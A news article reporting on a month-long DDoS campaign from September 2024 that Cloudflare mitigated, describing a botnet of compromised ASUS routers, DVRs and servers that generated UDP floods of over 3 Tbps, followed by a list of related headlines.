The attack was part of a month-long hacking campaign that began in early September 2024. These attacks, designed to overwhelm a website or app with internet traffic, aimed to force Cloudflare’s customers offline. Over 100 volumetric DDoS attacks were launched during this period, with many exceeding 3 Tbps and mainly originating from Vietnam, Russia, Brazil, Spain, and the US.

The hackers utilized a botnet consisting of hijacked internet devices, including Asus and MikroTik routers, DVRs, and web servers. 

“The high bitrate attacks appear to originate from a large number of compromised ASUS home routers, likely exploited using a CVE 9.8 (Critical) vulnerability that was recently discovered by Censys,” Cloudflare researchers noted.

The botnet leveraged the User Datagram Protocol (UDP) to generate massive amounts of traffic, overwhelming Cloudflare’s targets. The attacks were primarily focused on volumetric L3/4 DDoS, which aims to exhaust a target’s bandwidth and resources. The target was a customer of an unnamed hosting provider.

While the attacks were severe, Cloudflare was able to mitigate them without significant disruption to its customers. Cloudflare’s global network of individual servers and advanced traffic analysis systems were instrumental in mitigating the record-breaking attack. The company’s ability to distribute incoming traffic and filter out malicious data flow enabled it to effectively defend its customers. 

The DDoS campaign targeted various industries, including finance, internet, and telecommunications. The company’s strong network and defence systems ensured that most customers experienced minimal downtime or service degradation.

The threat actors behind the campaign exploited hijacked internet devices, such as routers, DVRs, and web servers, to form a botnet. This botnet leveraged the User Datagram Protocol (UDP) to generate massive amounts of traffic, overwhelming Cloudflare’s targets.

Despite Cloudflare’s successful defence of this record-breaking DDoS attack, the incident highlights the growing sophistication of cyber threats and the importance of adopting reliable internet infrastructure.

The development of new attack techniques and accessible tools makes it easier for attackers to launch large-scale attacks. As online services continue to expand, the need for advanced security measures to protect against such attacks becomes increasingly critical.

1.  Cloudflare thwarts largest reported HTTP DDoS attack
2.  Microsoft Azure customer hit by 2.4 Tbps DDoS attack
3.  Record-Breaking DDoS Attack Against European Firm Mitigated
4.  Kaspersky Reveals Alarming IoT Threats, Dark Web DDoS Boom
5.  Google, Cloudflare, AWS Disclose Largest DDoS Attack in History

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